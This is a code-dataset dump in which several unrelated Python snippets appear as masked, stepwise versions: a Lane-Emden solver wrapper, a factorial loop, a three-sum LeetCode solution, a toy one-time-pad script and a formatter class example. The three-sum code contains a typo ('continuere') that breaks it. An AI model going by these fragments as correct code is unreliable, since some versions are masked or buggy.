_solver.lane(dz, n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t, n\n\n\ndef lane_emden_int(dz=2.0 ** -14, n=3.0, w=0.0):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n, t[0:n + 1, :]\n\n\ndef lane_emden_step(x, y, dx, n, w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x, y[0], y[1], dx, n, w)\n out = _solver.rk4out\n return np.array([out.z0, out.z1])\n\n\nif __name__ == '__main__':\n t, n = test()\n print(t, n)\n", "step-5": "#! /bin/env python3\n\n\"\"\"\nLane Emden Python interface.\n\nMain routine:\n lane_emden_int(dz, n)\n\"\"\"\n\nimport numpy as np\nfrom . import _solver\n\ndef test():\n \"\"\"\n A simple test.\n \"\"\"\n n = 3.\n dz = 2.**(-14)\n _solver.lane(dz,n)\n out = _solver.laneout\n n = out.ndata\n t = out.theta\n return t,n\n\ndef lane_emden_int(dz = 2.**(-14), n = 3., w = 0.):\n \"\"\"\n Interface to FORTRAN90 Lane-Emden Integrator.\n\n Call:\n ndata, data = laneemden.lane_emden_int(dz, n, w)\n\n INPUT:\n dz:\n step in z, maye use 2**(-14)\n n:\n polytropic index (use 3.)\n w:\n rotation parameter(use 0. for non-rot)\n w = 2 Omega^2 / (4 pi G rho_c)\n\n OUTPUT:\n ndata:\n number of last point (starts with 0)\n data:\n output data in form [0:ndata,0:1]\n index 0:\n equidistant grid with step size dz starting at 0\n index 1:\n 0: theta(z)\n 1: d theta(z) / dz\n \"\"\"\n _solver.lane(dz, n, w)\n out = _solver.laneout\n n = int(out.ndata)\n t = out.theta\n return n,t[0:n+1,:]\n\ndef lane_emden_step(x,y,dx,n,w):\n \"\"\"\n This allows a single call to the rk4 subroutine.\n\n It turns out to be *way* less efficient.\n Do not use.\n \"\"\"\n _solver.rk4(x,y[0],y[1],dx,n,w)\n out = _solver.rk4out\n return np.array([out.z0,out.z1])\n\nif __name__ == '__main__':\n t,n = test()\n print(t, n)\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
from .authenticators import CookieAuthenticator, HeaderAuthenticator from .paginators import LimitOffsetPaginator, PageNumberPaginator from .views import * # pylint:disable=W0401
normal
{ "blob_id": "dab53d10958b36cf75ab53bf30f744b1ed8a09b6", "index": 6475, "step-1": "<mask token>\n", "step-2": "from .authenticators import CookieAuthenticator, HeaderAuthenticator\nfrom .paginators import LimitOffsetPaginator, PageNumberPaginator\nfrom .views import *\n", "step-3": "from .authenticators import CookieAuthenticator, HeaderAuthenticator\nfrom .paginators import LimitOffsetPaginator, PageNumberPaginator\nfrom .views import * # pylint:disable=W0401\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }
[ 0, 1, 2 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> while sair: num = int(input('informe um numero inteiro:')) if num < 16: fatorial = 1 x = num while x >= 1: print(x, '.') fatorial = fatorial * x x -= 1 print('Valor total do Fatorial do %d = %d ' % (num, fatorial)) else: print('Número inválido!!') sair = input('deseja sair? s ou n:') if sair.upper() == 'S': sair = False print('Programa Encerrado') <|reserved_special_token_1|> sair = True while sair: num = int(input('informe um numero inteiro:')) if num < 16: fatorial = 1 x = num while x >= 1: print(x, '.') fatorial = fatorial * x x -= 1 print('Valor total do Fatorial do %d = %d ' % (num, fatorial)) else: print('Número inválido!!') sair = input('deseja sair? s ou n:') if sair.upper() == 'S': sair = False print('Programa Encerrado') <|reserved_special_token_1|> sair = True while sair: num = int(input("informe um numero inteiro:")) if num <16: fatorial = 1 x = num while x>=1: print(x,".") fatorial = fatorial*x x -= 1 print("Valor total do Fatorial do %d = %d "%(num,fatorial)) else: print("Número inválido!!") sair = input("deseja sair? s ou n:") if sair.upper() == "S": sair = False print("Programa Encerrado")
flexible
{ "blob_id": "421e7ed0cc5a8c8acc9b98fae4ee6cc784d9b068", "index": 9683, "step-1": "<mask token>\n", "step-2": "<mask token>\nwhile sair:\n num = int(input('informe um numero inteiro:'))\n if num < 16:\n fatorial = 1\n x = num\n while x >= 1:\n print(x, '.')\n fatorial = fatorial * x\n x -= 1\n print('Valor total do Fatorial do %d = %d ' % (num, fatorial))\n else:\n print('Número inválido!!')\n sair = input('deseja sair? s ou n:')\n if sair.upper() == 'S':\n sair = False\n print('Programa Encerrado')\n", "step-3": "sair = True\nwhile sair:\n num = int(input('informe um numero inteiro:'))\n if num < 16:\n fatorial = 1\n x = num\n while x >= 1:\n print(x, '.')\n fatorial = fatorial * x\n x -= 1\n print('Valor total do Fatorial do %d = %d ' % (num, fatorial))\n else:\n print('Número inválido!!')\n sair = input('deseja sair? s ou n:')\n if sair.upper() == 'S':\n sair = False\n print('Programa Encerrado')\n", "step-4": "sair = True\r\nwhile sair:\r\n num = int(input(\"informe um numero inteiro:\"))\r\n if num <16:\r\n fatorial = 1\r\n x = num\r\n while x>=1:\r\n print(x,\".\")\r\n fatorial = fatorial*x\r\n x -= 1\r\n print(\"Valor total do Fatorial do %d = %d \"%(num,fatorial))\r\n else:\r\n print(\"Número inválido!!\")\r\n sair = input(\"deseja sair? s ou n:\")\r\n \r\n if sair.upper() == \"S\":\r\n sair = False\r\n print(\"Programa Encerrado\")", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> class Solution: <|reserved_special_token_0|> <|reserved_special_token_1|> class Solution: def threeSum(self, nums: List[int]) ->List[List[int]]: res = [] nums.sort() for k in range(len(nums) - 2): if k > 0 and nums[k] == nums[k - 1]: continuere if nums[k] > 0: break L, R = k + 1, len(nums) - 1 while L < R: s = nums[k] + nums[L] + nums[R] if s < 0: L += 1 elif s > 0: R -= 1 else: res.append((nums[k], nums[L], nums[R])) while L < R and nums[L] == nums[L + 1]: L += 1 while L < R and nums[R] == nums[R - 1]: R -= 1 L += 1 R -= 1 return res <|reserved_special_token_1|> # # @lc app=leetcode.cn id=15 lang=python3 # # [15] 三数之和 # # https://leetcode-cn.com/problems/3sum/description/ # # algorithms # Medium (25.76%) # Likes: 1904 # Dislikes: 0 # Total Accepted: 176.6K # Total Submissions: 679K # Testcase Example: '[-1,0,1,2,-1,-4]' # # 给你一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0 # ?请你找出所有满足条件且不重复的三元组。 # # 注意:答案中不可以包含重复的三元组。 # # # # 示例: # # 给定数组 nums = [-1, 0, 1, 2, -1, -4], # # 满足要求的三元组集合为: # [ # ⁠ [-1, 0, 1], # ⁠ [-1, -1, 2] # ] # # 1. 三层循环暴力求解 # 2. 双指针求解 # 3. hashmap 求解 # @lc code=start class Solution: def threeSum(self, nums: List[int]) -> List[List[int]]: res = [] nums.sort() for k in range(len(nums) - 2): if k > 0 and nums[k] == nums[k-1]: continuere if nums[k] > 0: break L, R = k+1, len(nums) - 1 while L < R: s = nums[k] + nums[L] + nums[R] if s < 0: L += 1 elif s > 0: R -= 1 else: res.append((nums[k], nums[L], nums[R])) while L < R and nums[L] == nums[L+1]: L += 1 while L < R and nums[R] == nums[R-1]: R -= 1 L += 1 R -= 1 return res # @lc code=end
flexible
{ "blob_id": "ccf3ada9a2bedf29820170f2e8184fc16f1b7aea", "index": 9580, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def threeSum(self, nums: List[int]) ->List[List[int]]:\n res = []\n nums.sort()\n for k in range(len(nums) - 2):\n if k > 0 and nums[k] == nums[k - 1]:\n continuere\n if nums[k] > 0:\n break\n L, R = k + 1, len(nums) - 1\n while L < R:\n s = nums[k] + nums[L] + nums[R]\n if s < 0:\n L += 1\n elif s > 0:\n R -= 1\n else:\n res.append((nums[k], nums[L], nums[R]))\n while L < R and nums[L] == nums[L + 1]:\n L += 1\n while L < R and nums[R] == nums[R - 1]:\n R -= 1\n L += 1\n R -= 1\n return res\n", "step-4": "#\n# @lc app=leetcode.cn id=15 lang=python3\n#\n# [15] 三数之和\n#\n# https://leetcode-cn.com/problems/3sum/description/\n#\n# algorithms\n# Medium (25.76%)\n# Likes: 1904\n# Dislikes: 0\n# Total Accepted: 176.6K\n# Total Submissions: 679K\n# Testcase Example: '[-1,0,1,2,-1,-4]'\n#\n# 给你一个包含 n 个整数的数组 nums,判断 nums 中是否存在三个元素 a,b,c ,使得 a + b + c = 0\n# ?请你找出所有满足条件且不重复的三元组。\n#\n# 注意:答案中不可以包含重复的三元组。\n#\n#\n#\n# 示例:\n#\n# 给定数组 nums = [-1, 0, 1, 2, -1, -4],\n#\n# 满足要求的三元组集合为:\n# [\n# ⁠ [-1, 0, 1],\n# ⁠ [-1, -1, 2]\n# ]\n#\n# 1. 三层循环暴力求解\n# 2. 双指针求解\n# 3. hashmap 求解\n\n# @lc code=start\n\n\nclass Solution:\n def threeSum(self, nums: List[int]) -> List[List[int]]:\n res = []\n nums.sort()\n for k in range(len(nums) - 2):\n if k > 0 and nums[k] == nums[k-1]:\n continuere\n if nums[k] > 0:\n break\n L, R = k+1, len(nums) - 1\n while L < R:\n s = nums[k] + nums[L] + nums[R]\n if s < 0:\n L += 1\n elif s > 0:\n R -= 1\n else:\n res.append((nums[k], nums[L], nums[R]))\n while L < R and nums[L] == nums[L+1]:\n L += 1\n while L < R and nums[R] == nums[R-1]:\n R -= 1\n L += 1\n R -= 1\n return res\n# @lc code=end\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> file_one_time_pad.close() print(p_text) <|reserved_special_token_0|> for i in p_text: main_text.append(i) for i in range(length_p_text): for j in range(25): if main_text[i] == alphabets[j]: p_text_numerical.append(j) break if length_p_text == length_temp_key: for i in range(length_temp_key - 1): main_key.append(temp_key[i]) elif length_p_text < length_temp_key: for i in range(length_p_text - 1): main_key.append(temp_key[i]) else: for i in range(length_temp_key - 1): main_key.append(temp_key[i]) diff = length_p_text - length_temp_key for i in range(diff): random_alpha = random.choice(temp_key) main_key.append(random_alpha) print('The main key is :: \n') print(main_key) print('The length of p_text_numerical:: \t', len(p_text_numerical)) print('\n') print('The length of the main_key is :: \t', len(main_key)) for i in range(length_p_text - 1): cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i])) print('The cipherred text is :: \n') print(cipher_text_numerical) <|reserved_special_token_0|> for i in range(length_cipher): decipher_numerical.append(cipher_text_numerical[i] - main_key[i]) print('The decipherred numerical::\n') print(decipher_numerical) <|reserved_special_token_0|> for i in range(length_p_text - 1): temp = decipher_numerical[i] decipher_text.append(alphabets[temp]) <|reserved_special_token_0|> for i in decipher_text: deciphered_one = deciphered_one + i <|reserved_special_token_0|> file_encrypt.write(deciphered_one) file_encrypt.close() print('The deciphered text is ::\n') print(decipher_text) <|reserved_special_token_1|> <|reserved_special_token_0|> file_one_time_pad = open('encryption_file.txt', 'r') p_text = file_one_time_pad.read() file_one_time_pad.close() print(p_text) p_text = str.lower(p_text) main_text = [] p_text_numerical = [] temp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13] alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] main_key = [] cipher_text = [] cipher_text_numerical = [] length_p_text = len(p_text) length_temp_key = len(temp_key) random_alpha = 0 decipher_text = [] decipher_numerical = [] for i in p_text: main_text.append(i) for i in range(length_p_text): for j in range(25): if main_text[i] == alphabets[j]: p_text_numerical.append(j) break if length_p_text == length_temp_key: for i in range(length_temp_key - 1): main_key.append(temp_key[i]) elif length_p_text < length_temp_key: for i in range(length_p_text - 1): main_key.append(temp_key[i]) else: for i in range(length_temp_key - 1): main_key.append(temp_key[i]) diff = length_p_text - length_temp_key for i in range(diff): random_alpha = random.choice(temp_key) main_key.append(random_alpha) print('The main key is :: \n') print(main_key) print('The length of p_text_numerical:: \t', len(p_text_numerical)) print('\n') print('The length of the main_key is :: \t', len(main_key)) for i in range(length_p_text - 1): cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i])) print('The cipherred text is :: \n') print(cipher_text_numerical) length_cipher = len(cipher_text_numerical) for i in range(length_cipher): decipher_numerical.append(cipher_text_numerical[i] - main_key[i]) print('The decipherred numerical::\n') print(decipher_numerical) temp = 0 for i in range(length_p_text - 1): temp = decipher_numerical[i] decipher_text.append(alphabets[temp]) deciphered_one = '' for i in decipher_text: deciphered_one = deciphered_one + i file_encrypt = open('encryption_file.txt', 'w') file_encrypt.write(deciphered_one) file_encrypt.close() print('The deciphered text is ::\n') print(decipher_text) <|reserved_special_token_1|> import string import random file_one_time_pad = open('encryption_file.txt', 'r') p_text = file_one_time_pad.read() file_one_time_pad.close() print(p_text) p_text = str.lower(p_text) main_text = [] p_text_numerical = [] temp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13] alphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z'] main_key = [] cipher_text = [] cipher_text_numerical = [] length_p_text = len(p_text) length_temp_key = len(temp_key) random_alpha = 0 decipher_text = [] decipher_numerical = [] for i in p_text: main_text.append(i) for i in range(length_p_text): for j in range(25): if main_text[i] == alphabets[j]: p_text_numerical.append(j) break if length_p_text == length_temp_key: for i in range(length_temp_key - 1): main_key.append(temp_key[i]) elif length_p_text < length_temp_key: for i in range(length_p_text - 1): main_key.append(temp_key[i]) else: for i in range(length_temp_key - 1): main_key.append(temp_key[i]) diff = length_p_text - length_temp_key for i in range(diff): random_alpha = random.choice(temp_key) main_key.append(random_alpha) print('The main key is :: \n') print(main_key) print('The length of p_text_numerical:: \t', len(p_text_numerical)) print('\n') print('The length of the main_key is :: \t', len(main_key)) for i in range(length_p_text - 1): cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i])) print('The cipherred text is :: \n') print(cipher_text_numerical) length_cipher = len(cipher_text_numerical) for i in range(length_cipher): decipher_numerical.append(cipher_text_numerical[i] - main_key[i]) print('The decipherred numerical::\n') print(decipher_numerical) temp = 0 for i in range(length_p_text - 1): temp = decipher_numerical[i] decipher_text.append(alphabets[temp]) deciphered_one = '' for i in decipher_text: deciphered_one = deciphered_one + i file_encrypt = open('encryption_file.txt', 'w') file_encrypt.write(deciphered_one) file_encrypt.close() print('The deciphered text is ::\n') print(decipher_text) <|reserved_special_token_1|> import string import random file_one_time_pad = open("encryption_file.txt","r") p_text = file_one_time_pad.read() file_one_time_pad.close() print(p_text) p_text = str.lower(p_text) main_text = [] p_text_numerical = [] temp_key = [21,25,20,15,16,14,10,26,24,9,8,13] alphabets = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'] main_key = [] cipher_text = [] cipher_text_numerical = [] length_p_text = len(p_text) length_temp_key = len(temp_key) random_alpha = 0 decipher_text = [] decipher_numerical = [] ##Getting the numerical values of the text for i in p_text: main_text.append(i) for i in range(length_p_text): for j in range(25): if main_text[i] == alphabets[j]: p_text_numerical.append(j) break ##Generating keys dynamically if length_p_text == length_temp_key: for i in range(length_temp_key-1): main_key.append(temp_key[i]) elif length_p_text < length_temp_key: for i in range(length_p_text-1): main_key.append(temp_key[i]) else: for i in range(length_temp_key-1): main_key.append(temp_key[i]) diff = length_p_text - length_temp_key for i in range(diff): random_alpha = random.choice(temp_key) main_key.append(random_alpha) print("The main key is :: \n") print(main_key) print("The length of p_text_numerical:: \t",len(p_text_numerical)) print("\n") print("The length of the main_key is :: \t",len(main_key)) ## Ciphering algorithm for i in range(length_p_text-1): cipher_text_numerical.append(abs(p_text_numerical[i]+main_key[i])) print("The cipherred text is :: \n") print(cipher_text_numerical) ## Deciphering algorithm length_cipher = len(cipher_text_numerical) for i in range(length_cipher): decipher_numerical.append(cipher_text_numerical[i] - main_key[i]) print("The decipherred numerical::\n") print(decipher_numerical) temp = 0 for i in range(length_p_text-1): temp = decipher_numerical[i] decipher_text.append(alphabets[temp]) deciphered_one = "" for i in decipher_text: deciphered_one = deciphered_one + i file_encrypt = open("encryption_file.txt","w") file_encrypt.write(deciphered_one) file_encrypt.close() print("The deciphered text is ::\n") print(decipher_text)
flexible
{ "blob_id": "4b647d37d390a4df42f29bbfc7e4bae4e77c5828", "index": 8935, "step-1": "<mask token>\n", "step-2": "<mask token>\nfile_one_time_pad.close()\nprint(p_text)\n<mask token>\nfor i in p_text:\n main_text.append(i)\nfor i in range(length_p_text):\n for j in range(25):\n if main_text[i] == alphabets[j]:\n p_text_numerical.append(j)\n break\nif length_p_text == length_temp_key:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n for i in range(length_p_text - 1):\n main_key.append(temp_key[i])\nelse:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\n diff = length_p_text - length_temp_key\n for i in range(diff):\n random_alpha = random.choice(temp_key)\n main_key.append(random_alpha)\nprint('The main key is :: \\n')\nprint(main_key)\nprint('The length of p_text_numerical:: \\t', len(p_text_numerical))\nprint('\\n')\nprint('The length of the main_key is :: \\t', len(main_key))\nfor i in range(length_p_text - 1):\n cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))\nprint('The cipherred text is :: \\n')\nprint(cipher_text_numerical)\n<mask token>\nfor i in range(length_cipher):\n decipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint('The decipherred numerical::\\n')\nprint(decipher_numerical)\n<mask token>\nfor i in range(length_p_text - 1):\n temp = decipher_numerical[i]\n decipher_text.append(alphabets[temp])\n<mask token>\nfor i in decipher_text:\n deciphered_one = deciphered_one + i\n<mask token>\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint('The deciphered text is ::\\n')\nprint(decipher_text)\n", "step-3": "<mask token>\nfile_one_time_pad = open('encryption_file.txt', 'r')\np_text = file_one_time_pad.read()\nfile_one_time_pad.close()\nprint(p_text)\np_text = str.lower(p_text)\nmain_text = []\np_text_numerical = []\ntemp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13]\nalphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',\n 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\nmain_key = []\ncipher_text = []\ncipher_text_numerical = []\nlength_p_text = len(p_text)\nlength_temp_key = len(temp_key)\nrandom_alpha = 0\ndecipher_text = []\ndecipher_numerical = []\nfor i in p_text:\n main_text.append(i)\nfor i in range(length_p_text):\n for j in range(25):\n if main_text[i] == alphabets[j]:\n p_text_numerical.append(j)\n break\nif length_p_text == length_temp_key:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n for i in range(length_p_text - 1):\n main_key.append(temp_key[i])\nelse:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\n diff = length_p_text - length_temp_key\n for i in range(diff):\n random_alpha = random.choice(temp_key)\n main_key.append(random_alpha)\nprint('The main key is :: \\n')\nprint(main_key)\nprint('The length of p_text_numerical:: \\t', len(p_text_numerical))\nprint('\\n')\nprint('The length of the main_key is :: \\t', len(main_key))\nfor i in range(length_p_text - 1):\n cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))\nprint('The cipherred text is :: \\n')\nprint(cipher_text_numerical)\nlength_cipher = len(cipher_text_numerical)\nfor i in range(length_cipher):\n decipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint('The decipherred numerical::\\n')\nprint(decipher_numerical)\ntemp = 0\nfor i in range(length_p_text - 1):\n temp = decipher_numerical[i]\n decipher_text.append(alphabets[temp])\ndeciphered_one = ''\nfor i in decipher_text:\n deciphered_one = deciphered_one + i\nfile_encrypt = open('encryption_file.txt', 'w')\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint('The deciphered text is ::\\n')\nprint(decipher_text)\n", "step-4": "import string\nimport random\nfile_one_time_pad = open('encryption_file.txt', 'r')\np_text = file_one_time_pad.read()\nfile_one_time_pad.close()\nprint(p_text)\np_text = str.lower(p_text)\nmain_text = []\np_text_numerical = []\ntemp_key = [21, 25, 20, 15, 16, 14, 10, 26, 24, 9, 8, 13]\nalphabets = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',\n 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']\nmain_key = []\ncipher_text = []\ncipher_text_numerical = []\nlength_p_text = len(p_text)\nlength_temp_key = len(temp_key)\nrandom_alpha = 0\ndecipher_text = []\ndecipher_numerical = []\nfor i in p_text:\n main_text.append(i)\nfor i in range(length_p_text):\n for j in range(25):\n if main_text[i] == alphabets[j]:\n p_text_numerical.append(j)\n break\nif length_p_text == length_temp_key:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n for i in range(length_p_text - 1):\n main_key.append(temp_key[i])\nelse:\n for i in range(length_temp_key - 1):\n main_key.append(temp_key[i])\n diff = length_p_text - length_temp_key\n for i in range(diff):\n random_alpha = random.choice(temp_key)\n main_key.append(random_alpha)\nprint('The main key is :: \\n')\nprint(main_key)\nprint('The length of p_text_numerical:: \\t', len(p_text_numerical))\nprint('\\n')\nprint('The length of the main_key is :: \\t', len(main_key))\nfor i in range(length_p_text - 1):\n cipher_text_numerical.append(abs(p_text_numerical[i] + main_key[i]))\nprint('The cipherred text is :: \\n')\nprint(cipher_text_numerical)\nlength_cipher = len(cipher_text_numerical)\nfor i in range(length_cipher):\n decipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint('The decipherred numerical::\\n')\nprint(decipher_numerical)\ntemp = 0\nfor i in range(length_p_text - 1):\n temp = decipher_numerical[i]\n decipher_text.append(alphabets[temp])\ndeciphered_one = ''\nfor i in decipher_text:\n deciphered_one = deciphered_one + i\nfile_encrypt = open('encryption_file.txt', 'w')\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint('The deciphered text is ::\\n')\nprint(decipher_text)\n", "step-5": "import string\nimport random\n\nfile_one_time_pad = open(\"encryption_file.txt\",\"r\")\np_text = file_one_time_pad.read()\nfile_one_time_pad.close()\nprint(p_text)\np_text = str.lower(p_text)\nmain_text = []\np_text_numerical = []\ntemp_key = [21,25,20,15,16,14,10,26,24,9,8,13]\nalphabets = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']\nmain_key = []\ncipher_text = []\ncipher_text_numerical = []\nlength_p_text = len(p_text)\nlength_temp_key = len(temp_key)\nrandom_alpha = 0\ndecipher_text = []\ndecipher_numerical = []\n\n\n\n##Getting the numerical values of the text\nfor i in p_text:\n\tmain_text.append(i)\n\nfor i in range(length_p_text):\n\tfor j in range(25):\n\t\tif main_text[i] == alphabets[j]:\n\t\t\tp_text_numerical.append(j)\n\t\t\tbreak \n\n\n##Generating keys dynamically\nif length_p_text == length_temp_key:\n\tfor i in range(length_temp_key-1):\n\t\tmain_key.append(temp_key[i])\nelif length_p_text < length_temp_key:\n\tfor i in range(length_p_text-1):\n\t\tmain_key.append(temp_key[i])\nelse:\n\tfor i in range(length_temp_key-1):\n\t\tmain_key.append(temp_key[i])\n\tdiff = length_p_text - length_temp_key\n\tfor i in range(diff):\n\t\trandom_alpha = random.choice(temp_key)\n\t\tmain_key.append(random_alpha)\nprint(\"The main key is :: \\n\")\nprint(main_key)\nprint(\"The length of p_text_numerical:: \\t\",len(p_text_numerical))\nprint(\"\\n\")\nprint(\"The length of the main_key is :: \\t\",len(main_key))\n\n## Ciphering algorithm\n\nfor i in range(length_p_text-1):\n\tcipher_text_numerical.append(abs(p_text_numerical[i]+main_key[i]))\nprint(\"The cipherred text is :: \\n\")\nprint(cipher_text_numerical)\n\n\n## Deciphering algorithm\nlength_cipher = len(cipher_text_numerical)\nfor i in range(length_cipher):\n\tdecipher_numerical.append(cipher_text_numerical[i] - main_key[i])\nprint(\"The decipherred numerical::\\n\")\nprint(decipher_numerical)\n\ntemp = 0\nfor i in range(length_p_text-1):\n\ttemp = decipher_numerical[i]\t\n\tdecipher_text.append(alphabets[temp])\n\ndeciphered_one = \"\"\nfor i in decipher_text:\n\tdeciphered_one = deciphered_one + i\n\nfile_encrypt = open(\"encryption_file.txt\",\"w\")\nfile_encrypt.write(deciphered_one)\nfile_encrypt.close()\nprint(\"The deciphered text is ::\\n\")\nprint(decipher_text)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
<|reserved_special_token_0|> class Formatter(ABC): <|reserved_special_token_0|> class TitleFormatter(Formatter): def format(self, book: Book) ->str: return book.title class ContentFormatter(Formatter): def format(self, book: Book) ->str: return book.content class Printer: def get_info(self, book: Book, formatter: Formatter): return formatter.format(book) <|reserved_special_token_1|> <|reserved_special_token_0|> class Formatter(ABC): @abstractmethod def format(self, book: Book): pass class TitleFormatter(Formatter): def format(self, book: Book) ->str: return book.title class ContentFormatter(Formatter): def format(self, book: Book) ->str: return book.content class Printer: def get_info(self, book: Book, formatter: Formatter): return formatter.format(book) <|reserved_special_token_1|> <|reserved_special_token_0|> class Book: def __init__(self, title: str, content: str): self.title = title self.content = content class Formatter(ABC): @abstractmethod def format(self, book: Book): pass class TitleFormatter(Formatter): def format(self, book: Book) ->str: return book.title class ContentFormatter(Formatter): def format(self, book: Book) ->str: return book.content class Printer: def get_info(self, book: Book, formatter: Formatter): return formatter.format(book) <|reserved_special_token_1|> from abc import ABC, abstractmethod class Book: def __init__(self, title: str, content: str): self.title = title self.content = content class Formatter(ABC): @abstractmethod def format(self, book: Book): pass class TitleFormatter(Formatter): def format(self, book: Book) ->str: return book.title class ContentFormatter(Formatter): def format(self, book: Book) ->str: return book.content class Printer: def get_info(self, book: Book, formatter: Formatter): return formatter.format(book)
flexible
{ "blob_id": "d025b0719c6eecdfccb2e39a58af7842f4229c72", "index": 2678, "step-1": "<mask token>\n\n\nclass Formatter(ABC):\n <mask token>\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n", "step-2": "<mask token>\n\n\nclass Formatter(ABC):\n\n @abstractmethod\n def format(self, book: Book):\n pass\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n", "step-3": "<mask token>\n\n\nclass Book:\n\n def __init__(self, title: str, content: str):\n self.title = title\n self.content = content\n\n\nclass Formatter(ABC):\n\n @abstractmethod\n def format(self, book: Book):\n pass\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n", "step-4": "from abc import ABC, abstractmethod\n\n\nclass Book:\n\n def __init__(self, title: str, content: str):\n self.title = title\n self.content = content\n\n\nclass Formatter(ABC):\n\n @abstractmethod\n def format(self, book: Book):\n pass\n\n\nclass TitleFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.title\n\n\nclass ContentFormatter(Formatter):\n\n def format(self, book: Book) ->str:\n return book.content\n\n\nclass Printer:\n\n def get_info(self, book: Book, formatter: Formatter):\n return formatter.format(book)\n", "step-5": null, "step-ids": [ 7, 8, 10, 11 ] }
[ 7, 8, 10, 11 ]
